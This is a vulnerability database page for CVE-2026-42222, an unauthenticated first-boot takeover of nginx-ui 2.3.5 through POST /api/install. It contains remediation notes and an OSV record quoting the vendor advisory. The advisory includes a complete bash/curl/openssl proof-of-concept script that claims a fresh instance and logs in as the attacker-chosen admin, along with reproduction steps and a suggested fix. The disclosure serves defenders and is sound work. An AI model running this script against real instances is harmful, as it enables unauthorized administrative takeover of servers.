CVE-2026-42222: Nginx-UI Unauthenticated First-boot Instance Claim Vulnerability
HIGHCVE-2026-42222 is a HIGH (CVSS 8.1) unauthenticated first-boot instance claim vulnerability (CWE-284: Improper Access Control) affecting Nginx-UI libraries in the Go ecosystem. The issue involves unauthenticated first-boot instance claim via post /api/install allows remote bootstrap takeover. Remediation is available in the latest vendor maintenance releases.
CVE-2026-42222 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42222
To remediate this vulnerability, upgrade all affected Nginx-UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/0xJacky/nginx-ui to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/nginx-ui
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42222, inspect your project dependencies for Nginx-UI:
inspect dependencies for github.com/0xJacky/nginx-ui
Analyze the terminal output to locate any version of Nginx-UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Nginx-UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42222 Affected Nginx-UI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/nginx-ui
|
Go |
2.3.5
All 1 versions
2.3.5
|
None specified
|
References
Frequently Asked Questions
What is CVE-2026-42222?
Which Nginx-UI versions are affected?
What version fixes CVE-2026-42222?
Is github.com/0xJacky/nginx-ui affected?
What is the CVSS score of CVE-2026-42222?
What CWE is associated with CVE-2026-42222?
How can I check Go dependencies for CVE-2026-42222?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mxqh-q9h6-v8pq",
"modified" : "2026-05-06T16:59:43Z",
"published" : "2026-05-06T16:59:43Z",
"aliases" : [ "CVE-2026-42222" ],
"summary" : "Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover",
"details" : "## Summary\n\nAn unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`.\n\nWhen the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.\n\nThis is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.\n\nThe primary attack path is direct network access to a reachable fresh instance.[^cors]\n\nThis was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`).\n\n## Impact\n\nThis issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window.\n\nThe practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.\n\nIn live testing, the attacker was able to:\n\n- confirm that the target was still uninitialized\n- submit attacker-chosen bootstrap credentials\n- lock the installation under attacker control\n- immediately authenticate as the newly set administrator\n\nObserved values during live reproduction included:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,...,\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\nBecause the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.\n\n## PoC\n\nThe following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`.\n\nStandalone PoC:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nbase_url=\"http://127.0.0.1:9000\"\nemail=\"poc2@nginxui.test\"\nusername=\"pocverify2\"\npassword=\"Passw0rd123\"\n\ntmpdir=\"$(mktemp -d)\"\ntrap 'rm -rf \"$tmpdir\"' EXIT\n\ninstall_before=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf 'INSTALL_BEFORE=%s\\n' \"$install_before\"\n\nkey_json=\"$(curl -fsS \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"timestamp\\\":$(date +%s),\\\"fingerprint\\\":\\\"install-takeover-poc\\\"}\" \\\n \"${base_url}/api/crypto/public_key\")\"\n\nkey_escaped=\"$(printf '%s' \"$key_json\" | sed -n 's/.*\"public_key\":\"\\(.*\\)\",\"request_id\".*/\\1/p')\"\nprintf '%b' \"$key_escaped\" > \"${tmpdir}/public_key.pem\"\nopenssl rsa -RSAPublicKey_in -in \"${tmpdir}/public_key.pem\" -pubout -out \"${tmpdir}/public_key_spki.pem\" >/dev/null 2>&1\n\nprintf '{\"email\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}' \"$email\" \"$username\" \"$password\" > \"${tmpdir}/install.json\"\nencrypted_install=\"$(\n openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/install.json\" \\\n | openssl base64 -A\n)\"\n\ninstall_post=\"$(curl -fsS \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"encrypted_params\\\":\\\"${encrypted_install}\\\"}\" \\\n \"${base_url}/api/install\")\"\nprintf 'INSTALL_POST=%s\\n' \"$install_post\"\n\ninstall_after=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf 'INSTALL_AFTER=%s\\n' \"$install_after\"\n\nprintf '{\"name\":\"%s\",\"password\":\"%s\",\"otp\":\"\",\"recovery_code\":\"\"}' \"$username\" \"$password\" > \"${tmpdir}/login.json\"\nencrypted_login=\"$(\n openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/login.json\" \\\n | openssl base64 -A\n)\"\n\nlogin_response=\"$(curl -fsS \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"encrypted_params\\\":\\\"${encrypted_login}\\\"}\" \\\n \"${base_url}/api/login\")\"\nprintf 'LOGIN_RESPONSE=%s\\n' \"$login_response\"\n```\n\nObserved output during live verification:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,\"token\":\"<redacted>\",\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\n## Steps to Reproduce\n\n1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/nginx` and `/etc/nginx-ui` directories.\n\n```bash\nmkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui\n\ndocker run -d --rm --name nginx-ui-poc \\\n -v \"$PWD/.tmp/poc-nginx:/etc/nginx\" \\\n -v \"$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui\" \\\n uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a\n```\n\n2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:\n\n```bash\ndocker exec -it nginx-ui-poc bash\n```\n\nThen set `base_url` to `http://127.0.0.1:9000` and run the standalone PoC.\n\n3. Observe the output.\n\nActual result:\n\n- `GET /api/install` returns `{\"lock\":false,\"timeout\":false}`\n- `POST /api/install` returns `{\"message\":\"ok\"}`\n- a follow-up `GET /api/install` returns `{\"lock\":true,\"timeout\":false}`\n- `POST /api/login` succeeds with the attacker-chosen username and password and returns a valid token\n\nExpected result:\n\n- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret\n- `POST /api/install` should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor\n- attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup\n\n## Suggested Fix\n\n1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.\n\n2. Require a local-only or out-of-band bootstrap secret for `POST /api/install`, for example:\n- generate a one-time setup token at startup\n- print or store it locally on the host\n- require that token to complete initialization\n\n3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.\n\n4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as `/api/self_check` and `/api/restore`.\n\n5. As defense in depth, narrow CORS on setup endpoints. `POST /api/install` should not be callable cross-origin by arbitrary websites.\n\n6. Add regression tests covering:\n- unauthenticated remote `POST /api/install` being rejected by default\n- no installation claim without a valid bootstrap secret\n- `/api/self_check` and `/api/restore` requiring authentication\n- no cross-origin installation via browser preflight and JSON POST\n\n[^cors]: In live testing, `OPTIONS /api/install` returned `Access-Control-Allow-Origin: *`. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/nginx-ui"
},
"versions" : [ "2.3.5" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42222"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T16:59:43Z",
"nvd_published_at" : "2026-05-04T21:16:32Z"
}
}